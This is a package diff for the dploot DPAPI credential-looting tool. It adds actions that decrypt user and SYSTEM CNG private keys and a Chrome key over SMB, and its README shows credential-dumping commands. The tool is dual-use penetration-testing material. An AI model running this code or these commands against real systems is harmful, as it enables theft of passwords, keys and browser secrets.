dploot 3.1.2__tar.gz → 3.2.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dploot-3.1.2 → dploot-3.2.0}/PKG-INFO +15 -23
- {dploot-3.1.2 → dploot-3.2.0}/README.md +6 -8
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/browser.py +17 -0
- dploot-3.2.0/dploot/action/cng.py +129 -0
- dploot-3.2.0/dploot/action/machinecng.py +120 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/entry.py +4 -0
- dploot-3.2.0/dploot/lib/consts.py +30 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/crypto.py +105 -7
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/dpapi.py +2 -2
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/masterkey.py +2 -2
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/smb.py +51 -20
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/target.py +2 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/utils.py +1 -1
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/__init__.py +6 -7
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/browser.py +84 -53
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/certificates.py +62 -40
- dploot-3.2.0/dploot/triage/cng.py +165 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/credentials.py +11 -12
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/masterkeys.py +7 -8
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/mobaxterm.py +1 -2
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/rdg.py +1 -2
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/vaults.py +3 -4
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/wam.py +6 -3
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/wifi.py +13 -18
- {dploot-3.1.2 → dploot-3.2.0}/pyproject.toml +14 -14
- dploot-3.1.2/dploot/lib/consts.py +0 -11
- {dploot-3.1.2 → dploot-3.2.0}/LICENSE +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/__init__.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/__init__.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/backupkey.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/blob.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/certificates.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/credentials.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinecertificates.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinecredentials.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinemasterkeys.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinetriage.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/machinevaults.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/masterkeys.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/mobaxterm.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/rdg.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/sccm.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/triage.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/vaults.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/wam.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/action/wifi.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/__init__.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/lib/wmi.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/backupkey.py +0 -0
- {dploot-3.1.2 → dploot-3.2.0}/dploot/triage/sccm.py +0 -0
|
@@ -1,26 +1,20 @@
|
|
|
1
|
-
Metadata-Version: 2.
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
2
|
Name: dploot
|
|
3
|
-
Version: 3.
|
|
3
|
+
Version: 3.2.0
|
|
4
4
|
Summary: DPAPI looting remotely in Python
|
|
5
|
-
|
|
6
|
-
License:
|
|
5
|
+
License-Expression: MIT
|
|
6
|
+
License-File: LICENSE
|
|
7
7
|
Keywords: DPAPI,credentials,Windows
|
|
8
|
-
Author:
|
|
8
|
+
Author: Thomas Seigneuret
|
|
9
9
|
Author-email: seigneuret.thomas@protonmail.com
|
|
10
|
-
Requires-Python: >=3.10.0,<4.0.0
|
|
11
|
-
Classifier: Environment :: Console
|
|
12
|
-
Classifier: License :: OSI Approved :: MIT License
|
|
13
|
-
Classifier: Programming Language :: Python :: 3
|
|
14
|
-
Classifier: Programming Language :: Python :: 3.10
|
|
15
|
-
Classifier: Programming Language :: Python :: 3.11
|
|
16
|
-
Classifier: Programming Language :: Python :: 3.12
|
|
17
|
-
Classifier: Programming Language :: Python :: 3.13
|
|
18
10
|
Classifier: Topic :: Security
|
|
11
|
+
Classifier: Programming Language :: Python :: 3
|
|
12
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
13
|
+
Classifier: Environment :: Console
|
|
19
14
|
Requires-Dist: cryptography (>=40.0.1)
|
|
20
15
|
Requires-Dist: impacket (>=0.12.0)
|
|
21
16
|
Requires-Dist: lxml (>=5.0)
|
|
22
|
-
Requires-Dist: pyasn1 (>=0.4.8
|
|
23
|
-
Project-URL: Repository, https://github.com/zblurx/dploot
|
|
17
|
+
Requires-Dist: pyasn1 (>=0.4.8)
|
|
24
18
|
Description-Content-Type: text/markdown
|
|
25
19
|
|
|
26
20
|
# dploot
|
|
@@ -88,10 +82,9 @@ sudo apt install python3-dploot
|
|
|
88
82
|
## Usage
|
|
89
83
|
|
|
90
84
|
```text
|
|
91
|
-
dploot (https://github.com/zblurx/dploot) v3.
|
|
85
|
+
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
|
|
92
86
|
usage: dploot [-h]
|
|
93
|
-
{
|
|
94
|
-
...
|
|
87
|
+
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
|
|
95
88
|
|
|
96
89
|
DPAPI looting locally remotely in Python
|
|
97
90
|
|
|
@@ -107,8 +100,7 @@ positional arguments:
|
|
|
107
100
|
Dump system certificates from local or remote target
|
|
108
101
|
machinecredentials Dump system credentials from local or remote target
|
|
109
102
|
machinemasterkeys Dump system masterkey from local or remote target
|
|
110
|
-
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
|
|
111
|
-
target
|
|
103
|
+
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
|
|
112
104
|
machinevaults Dump system vaults from local or remote target
|
|
113
105
|
masterkeys Dump users masterkey from local or remote target
|
|
114
106
|
mobaxterm Dump Passwords and Credentials from MobaXterm
|
|
@@ -145,13 +137,13 @@ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t
|
|
|
145
137
|
A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
|
|
146
138
|
|
|
147
139
|
```text
|
|
148
|
-
$ dploot sccm -root /media/C_drive/ LOCAL
|
|
149
|
-
[*] Connected to LOCAL as \
|
|
140
|
+
$ dploot sccm -root /media/C_drive/ -t LOCAL
|
|
141
|
+
[*] Connected to LOCAL as \ (admin)
|
|
150
142
|
```
|
|
151
143
|
|
|
152
144
|
It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
|
|
153
145
|
```text
|
|
154
|
-
$ dploot masterkeys -root /mnt -u bob -p Password LOCAL
|
|
146
|
+
$ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL
|
|
155
147
|
[*] Connected to LOCAL as \bob (admin)
|
|
156
148
|
```
|
|
157
149
|
|
|
@@ -63,10 +63,9 @@ sudo apt install python3-dploot
|
|
|
63
63
|
## Usage
|
|
64
64
|
|
|
65
65
|
```text
|
|
66
|
-
dploot (https://github.com/zblurx/dploot) v3.
|
|
66
|
+
dploot (https://github.com/zblurx/dploot) v3.1.2 by @_zblurx
|
|
67
67
|
usage: dploot [-h]
|
|
68
|
-
{
|
|
69
|
-
...
|
|
68
|
+
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi} ...
|
|
70
69
|
|
|
71
70
|
DPAPI looting locally remotely in Python
|
|
72
71
|
|
|
@@ -82,8 +81,7 @@ positional arguments:
|
|
|
82
81
|
Dump system certificates from local or remote target
|
|
83
82
|
machinecredentials Dump system credentials from local or remote target
|
|
84
83
|
machinemasterkeys Dump system masterkey from local or remote target
|
|
85
|
-
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
|
|
86
|
-
target
|
|
84
|
+
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
|
|
87
85
|
machinevaults Dump system vaults from local or remote target
|
|
88
86
|
masterkeys Dump users masterkey from local or remote target
|
|
89
87
|
mobaxterm Dump Passwords and Credentials from MobaXterm
|
|
@@ -120,13 +118,13 @@ $ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t
|
|
|
120
118
|
A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:
|
|
121
119
|
|
|
122
120
|
```text
|
|
123
|
-
$ dploot sccm -root /media/C_drive/ LOCAL
|
|
124
|
-
[*] Connected to LOCAL as \
|
|
121
|
+
$ dploot sccm -root /media/C_drive/ -t LOCAL
|
|
122
|
+
[*] Connected to LOCAL as \ (admin)
|
|
125
123
|
```
|
|
126
124
|
|
|
127
125
|
It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
|
|
128
126
|
```text
|
|
129
|
-
$ dploot masterkeys -root /mnt -u bob -p Password LOCAL
|
|
127
|
+
$ dploot masterkeys -root /mnt -u bob -p Password -t LOCAL
|
|
130
128
|
[*] Connected to LOCAL as \bob (admin)
|
|
131
129
|
```
|
|
132
130
|
|
|
@@ -11,6 +11,7 @@ from dploot.lib.smb import DPLootSMBConnection
|
|
|
11
11
|
from dploot.lib.target import Target, add_target_argument_group
|
|
12
12
|
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
13
|
from dploot.triage.browser import BrowserTriage, Cookie
|
|
14
|
+
from dploot.triage.cng import CngTriage
|
|
14
15
|
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
15
16
|
|
|
16
17
|
NAME = "browser"
|
|
@@ -95,6 +96,21 @@ class BrowserAction:
|
|
|
95
96
|
else:
|
|
96
97
|
secret.dump()
|
|
97
98
|
|
|
99
|
+
cng_chromekey = None
|
|
100
|
+
|
|
101
|
+
if self.options.v20support:
|
|
102
|
+
triage = CngTriage(
|
|
103
|
+
target=self.target,
|
|
104
|
+
conn=self.conn,
|
|
105
|
+
masterkeys=self.masterkeys,
|
|
106
|
+
)
|
|
107
|
+
logging.info("Triage SYSTEM CNG files\n")
|
|
108
|
+
|
|
109
|
+
for cng_file in triage.triage_system_cng():
|
|
110
|
+
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
|
111
|
+
logging.info("Found CNG Google ChromeKey1\n")
|
|
112
|
+
cng_chromekey = cng_file.decrypted_private_key
|
|
113
|
+
|
|
98
114
|
triage = BrowserTriage(
|
|
99
115
|
target=self.target,
|
|
100
116
|
conn=self.conn,
|
|
@@ -107,6 +123,7 @@ class BrowserAction:
|
|
|
107
123
|
)
|
|
108
124
|
triage.triage_browsers(
|
|
109
125
|
gather_cookies=self.options.show_cookies,
|
|
126
|
+
cng_chromekey=cng_chromekey,
|
|
110
127
|
bypass_shared_violation=self.options.bypass_shared_violation,
|
|
111
128
|
)
|
|
112
129
|
if self.outputdir is not None:
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
|
|
7
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
8
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
9
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
10
|
+
from dploot.triage.cng import CngTriage
|
|
11
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
NAME = "cng"
|
|
15
|
+
|
|
16
|
+
class CngAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
self.target = Target.from_options(options)
|
|
20
|
+
|
|
21
|
+
self.conn = None
|
|
22
|
+
self._is_admin = None
|
|
23
|
+
self.outputdir = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.pvkbytes = None
|
|
26
|
+
self.passwords = None
|
|
27
|
+
self.nthashes = None
|
|
28
|
+
|
|
29
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
30
|
+
|
|
31
|
+
if self.options.mkfile is not None:
|
|
32
|
+
try:
|
|
33
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
34
|
+
except Exception as e:
|
|
35
|
+
logging.error(str(e))
|
|
36
|
+
sys.exit(1)
|
|
37
|
+
|
|
38
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
39
|
+
self.options, self.target
|
|
40
|
+
)
|
|
41
|
+
|
|
42
|
+
def connect(self) -> None:
|
|
43
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
44
|
+
if self.conn.connect() is None:
|
|
45
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
46
|
+
sys.exit(1)
|
|
47
|
+
|
|
48
|
+
def run(self) -> None:
|
|
49
|
+
self.connect()
|
|
50
|
+
logging.info(
|
|
51
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
52
|
+
self.target.address,
|
|
53
|
+
self.target.domain,
|
|
54
|
+
self.target.username,
|
|
55
|
+
("(admin)" if self.is_admin else ""),
|
|
56
|
+
)
|
|
57
|
+
)
|
|
58
|
+
if self.is_admin:
|
|
59
|
+
if self.masterkeys is None:
|
|
60
|
+
|
|
61
|
+
def masterkey_triage(masterkey):
|
|
62
|
+
masterkey.dump()
|
|
63
|
+
|
|
64
|
+
masterkeytriage = MasterkeysTriage(
|
|
65
|
+
target=self.target,
|
|
66
|
+
conn=self.conn,
|
|
67
|
+
pvkbytes=self.pvkbytes,
|
|
68
|
+
nthashes=self.nthashes,
|
|
69
|
+
passwords=self.passwords,
|
|
70
|
+
per_masterkey_callback=masterkey_triage
|
|
71
|
+
if not self.options.quiet
|
|
72
|
+
else None,
|
|
73
|
+
)
|
|
74
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
75
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
76
|
+
print()
|
|
77
|
+
if self.outputdir is not None:
|
|
78
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
79
|
+
|
|
80
|
+
def cng_callback(cng):
|
|
81
|
+
if self.options.quiet:
|
|
82
|
+
cng.dump_quiet()
|
|
83
|
+
else:
|
|
84
|
+
cng.dump()
|
|
85
|
+
|
|
86
|
+
triage = CngTriage(
|
|
87
|
+
target=self.target,
|
|
88
|
+
conn=self.conn,
|
|
89
|
+
masterkeys=self.masterkeys,
|
|
90
|
+
per_cng_callback=cng_callback,
|
|
91
|
+
)
|
|
92
|
+
logging.info("Triage CNG files for ALL USERS\n")
|
|
93
|
+
triage.triage_cng()
|
|
94
|
+
if self.outputdir is not None:
|
|
95
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
96
|
+
else:
|
|
97
|
+
logging.info("Not an admin, exiting...")
|
|
98
|
+
|
|
99
|
+
@property
|
|
100
|
+
def is_admin(self) -> bool:
|
|
101
|
+
if self._is_admin is not None:
|
|
102
|
+
return self._is_admin
|
|
103
|
+
|
|
104
|
+
self._is_admin = self.conn.is_admin()
|
|
105
|
+
return self._is_admin
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
def entry(options: argparse.Namespace) -> None:
|
|
109
|
+
a = CngAction(options)
|
|
110
|
+
a.run()
|
|
111
|
+
|
|
112
|
+
|
|
113
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
114
|
+
subparser = subparsers.add_parser(
|
|
115
|
+
NAME, help="Dump users CNG files blob from local or remote target"
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
group = subparser.add_argument_group("cng options")
|
|
119
|
+
|
|
120
|
+
group.add_argument(
|
|
121
|
+
"-mkfile",
|
|
122
|
+
action="store",
|
|
123
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
124
|
+
)
|
|
125
|
+
|
|
126
|
+
add_masterkeys_argument_group(group)
|
|
127
|
+
add_target_argument_group(subparser)
|
|
128
|
+
|
|
129
|
+
return NAME, entry
|
|
@@ -0,0 +1,120 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
|
|
6
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
9
|
+
from dploot.triage.cng import CngTriage
|
|
10
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
NAME = "machinecng"
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
class MachineCngAction:
|
|
17
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
18
|
+
self.options = options
|
|
19
|
+
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self.masterkeys = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
|
|
27
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
28
|
+
|
|
29
|
+
if self.options.mkfile is not None:
|
|
30
|
+
try:
|
|
31
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
32
|
+
except Exception as e:
|
|
33
|
+
logging.error(str(e))
|
|
34
|
+
sys.exit(1)
|
|
35
|
+
|
|
36
|
+
def connect(self) -> None:
|
|
37
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
38
|
+
if self.conn.connect() is None:
|
|
39
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
def run(self) -> None:
|
|
43
|
+
self.connect()
|
|
44
|
+
logging.info(
|
|
45
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
46
|
+
self.target.address,
|
|
47
|
+
self.target.domain,
|
|
48
|
+
self.target.username,
|
|
49
|
+
("(admin)" if self.is_admin else ""),
|
|
50
|
+
)
|
|
51
|
+
)
|
|
52
|
+
if self.is_admin:
|
|
53
|
+
if self.masterkeys is None:
|
|
54
|
+
|
|
55
|
+
def masterkey_triage(masterkey):
|
|
56
|
+
masterkey.dump()
|
|
57
|
+
|
|
58
|
+
masterkeytriage = MasterkeysTriage(
|
|
59
|
+
target=self.target,
|
|
60
|
+
conn=self.conn,
|
|
61
|
+
per_masterkey_callback=masterkey_triage
|
|
62
|
+
if not self.options.quiet
|
|
63
|
+
else None,
|
|
64
|
+
)
|
|
65
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
66
|
+
self.masterkeys = masterkeytriage.triage_system_masterkeys()
|
|
67
|
+
print()
|
|
68
|
+
if self.outputdir is not None:
|
|
69
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
70
|
+
|
|
71
|
+
def cng_callback(cng_file):
|
|
72
|
+
if self.options.quiet:
|
|
73
|
+
cng_file.dump_quiet()
|
|
74
|
+
else:
|
|
75
|
+
cng_file.dump()
|
|
76
|
+
|
|
77
|
+
triage = CngTriage(
|
|
78
|
+
target=self.target,
|
|
79
|
+
conn=self.conn,
|
|
80
|
+
masterkeys=self.masterkeys,
|
|
81
|
+
per_cng_callback=cng_callback,
|
|
82
|
+
)
|
|
83
|
+
logging.info("Triage SYSTEM CNG files\n")
|
|
84
|
+
triage.triage_system_cng()
|
|
85
|
+
if self.outputdir is not None:
|
|
86
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
87
|
+
|
|
88
|
+
else:
|
|
89
|
+
logging.info("Not an admin, exiting...")
|
|
90
|
+
|
|
91
|
+
@property
|
|
92
|
+
def is_admin(self) -> bool:
|
|
93
|
+
if self._is_admin is not None:
|
|
94
|
+
return self._is_admin
|
|
95
|
+
|
|
96
|
+
self._is_admin = self.conn.is_admin()
|
|
97
|
+
return self._is_admin
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def entry(options: argparse.Namespace) -> None:
|
|
101
|
+
a = MachineCngAction(options)
|
|
102
|
+
a.run()
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
106
|
+
subparser = subparsers.add_parser(
|
|
107
|
+
NAME, help="Dump system CNG files from local or remote target"
|
|
108
|
+
)
|
|
109
|
+
|
|
110
|
+
group = subparser.add_argument_group("machinecng options")
|
|
111
|
+
|
|
112
|
+
group.add_argument(
|
|
113
|
+
"-mkfile",
|
|
114
|
+
action="store",
|
|
115
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
116
|
+
)
|
|
117
|
+
|
|
118
|
+
add_target_argument_group(subparser)
|
|
119
|
+
|
|
120
|
+
return NAME, entry
|
|
@@ -11,8 +11,10 @@ from dploot.action import (
|
|
|
11
11
|
blob,
|
|
12
12
|
browser,
|
|
13
13
|
certificates,
|
|
14
|
+
cng,
|
|
14
15
|
credentials,
|
|
15
16
|
machinecertificates,
|
|
17
|
+
machinecng,
|
|
16
18
|
machinecredentials,
|
|
17
19
|
machinemasterkeys,
|
|
18
20
|
machinetriage,
|
|
@@ -32,8 +34,10 @@ ENTRY_PARSERS = [
|
|
|
32
34
|
blob,
|
|
33
35
|
browser,
|
|
34
36
|
certificates,
|
|
37
|
+
cng,
|
|
35
38
|
credentials,
|
|
36
39
|
machinecertificates,
|
|
40
|
+
machinecng,
|
|
37
41
|
machinecredentials,
|
|
38
42
|
machinemasterkeys,
|
|
39
43
|
machinetriage,
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
# Define some dploot consts.
|
|
2
|
+
|
|
3
|
+
FALSE_POSITIVES = [
|
|
4
|
+
".",
|
|
5
|
+
"..",
|
|
6
|
+
"desktop.ini",
|
|
7
|
+
"Public",
|
|
8
|
+
"Default",
|
|
9
|
+
"Default User",
|
|
10
|
+
"All Users",
|
|
11
|
+
]
|
|
12
|
+
|
|
13
|
+
# simple class to check for false positives, case insensitive
|
|
14
|
+
class FalsePositives(list):
|
|
15
|
+
def __init__(self,
|
|
16
|
+
false_positives: list[str] = None
|
|
17
|
+
) -> None:
|
|
18
|
+
if false_positives is None:
|
|
19
|
+
false_positives = FALSE_POSITIVES
|
|
20
|
+
|
|
21
|
+
super().__init__(map (lambda x: x.lower(), false_positives))
|
|
22
|
+
|
|
23
|
+
def __contains__(self, name):
|
|
24
|
+
return super().__contains__(str(name).lower())
|
|
25
|
+
|
|
26
|
+
def __setitem__(self, key, value):
|
|
27
|
+
return super().__setitem__(key,str(value).lower())
|
|
28
|
+
|
|
29
|
+
def append(self, element):
|
|
30
|
+
return super().append(str(element).lower())
|
|
@@ -43,6 +43,107 @@ class CERTBLOB:
|
|
|
43
43
|
print()
|
|
44
44
|
print("DER : %s " % (self.der))
|
|
45
45
|
|
|
46
|
+
# CNG PART
|
|
47
|
+
class CNG_PROPERTY(Structure):
|
|
48
|
+
structure = (
|
|
49
|
+
("StructLen", "<L=0"),
|
|
50
|
+
("Type", "<L=0"),
|
|
51
|
+
("Unknown", "<L=0"),
|
|
52
|
+
("NameLen", "<L=0"),
|
|
53
|
+
("PropertyLen", "<L=0"),
|
|
54
|
+
("_Name", "_-Name", 'self["NameLen"]'),
|
|
55
|
+
("Name", ":"),
|
|
56
|
+
("_Property", "_-Property", 'self["PropertyLen"]'),
|
|
57
|
+
("Property", ":"),
|
|
58
|
+
)
|
|
59
|
+
|
|
60
|
+
def dump(self):
|
|
61
|
+
print("[CNG PROPERTY]")
|
|
62
|
+
print("StructLen : %8x (%d)" % (self["StructLen"], self["StructLen"]))
|
|
63
|
+
print("Type : %8x (%d)" % (self["Type"], self["Type"]))
|
|
64
|
+
print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
|
|
65
|
+
print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
|
|
66
|
+
print("PropertyLen : %8x (%d)" % (self["PropertyLen"], self["PropertyLen"]))
|
|
67
|
+
print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
|
|
68
|
+
print("Property : %s" % hexlify(self["Property"]))
|
|
69
|
+
|
|
70
|
+
class CNG_PROPERTIES:
|
|
71
|
+
def __init__(self, data=None, alignment=0):
|
|
72
|
+
remaining = data
|
|
73
|
+
self.properties = []
|
|
74
|
+
while len(remaining) > 0:
|
|
75
|
+
prop = CNG_PROPERTY(remaining)
|
|
76
|
+
self.properties.append(prop)
|
|
77
|
+
remaining = remaining[len(prop) :]
|
|
78
|
+
|
|
79
|
+
def __len__(self):
|
|
80
|
+
length = 0
|
|
81
|
+
for prop in self.properties:
|
|
82
|
+
length += len(prop)
|
|
83
|
+
return length
|
|
84
|
+
|
|
85
|
+
def dump(self):
|
|
86
|
+
for prop in self.properties:
|
|
87
|
+
prop.dump()
|
|
88
|
+
|
|
89
|
+
class CNG_BLOB(Structure):
|
|
90
|
+
structure = (
|
|
91
|
+
("Version", "<L=1"),
|
|
92
|
+
("Unknown", "<L=0"),
|
|
93
|
+
("NameLen", "<L=0"),
|
|
94
|
+
("Type", "<L=0"),
|
|
95
|
+
("PublicPropLen", "<L=0"),
|
|
96
|
+
("PrivatePropLen", "<L=0"),
|
|
97
|
+
("PrivateKeyLen", "<L=0"),
|
|
98
|
+
("Unknown2", "16s=b'\\x00'*16"),
|
|
99
|
+
("_Name", "_-Name", 'self["NameLen"]'),
|
|
100
|
+
("Name", ":"),
|
|
101
|
+
("_PublicProperties", "_-PublicProperties", 'self["PublicPropLen"]'),
|
|
102
|
+
("PublicProperties", ":", CNG_PROPERTIES),
|
|
103
|
+
("_PrivateProperties", "_-PrivateProperties", 'self["PrivatePropLen"]'),
|
|
104
|
+
("PrivateProperties", ":", DPAPI_BLOB),
|
|
105
|
+
("_PrivateKey", "_-PrivateKey", 'self["PrivateKeyLen"]'),
|
|
106
|
+
("PrivateKey", ":", DPAPI_BLOB),
|
|
107
|
+
)
|
|
108
|
+
|
|
109
|
+
def dump(self):
|
|
110
|
+
print("[CNG BLOB]")
|
|
111
|
+
print("Version : %8x (%d)" % (self["Version"], self["Version"]))
|
|
112
|
+
print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
|
|
113
|
+
print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
|
|
114
|
+
print("Type : %8x (%d)" % (self["Type"], self["Type"]))
|
|
115
|
+
print("PublicPropLen : %8x (%d)" % (self["PublicPropLen"], self["PublicPropLen"]))
|
|
116
|
+
print("PrivatePropLey : %8x (%d)" % (self["PrivatePropLen"], self["PrivatePropLen"]))
|
|
117
|
+
print("PrivateKeyLen : %8x (%d)" % (self["PrivateKeyLen"], self["PrivateKeyLen"]))
|
|
118
|
+
print("Unknown2 : %s " % (self["Unknown2"]))
|
|
119
|
+
print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
|
|
120
|
+
print()
|
|
121
|
+
print("PublicProperties:")
|
|
122
|
+
self["PublicProperties"].dump()
|
|
123
|
+
print()
|
|
124
|
+
print("PrivateProperties:")
|
|
125
|
+
self["PrivateProperties"].dump()
|
|
126
|
+
print()
|
|
127
|
+
print("PrivateKey:")
|
|
128
|
+
self["PrivateKey"].dump()
|
|
129
|
+
|
|
130
|
+
class CHROME_KEY_DATA_BLOB(Structure):
|
|
131
|
+
structure = (
|
|
132
|
+
("Magic", "<I"),
|
|
133
|
+
("Version", "<I"),
|
|
134
|
+
("KeyLen", "<I"),
|
|
135
|
+
("_Key", "_-Key", 'self["KeyLen"]'),
|
|
136
|
+
("Key", ":"),
|
|
137
|
+
("Remaining", ":")
|
|
138
|
+
)
|
|
139
|
+
|
|
140
|
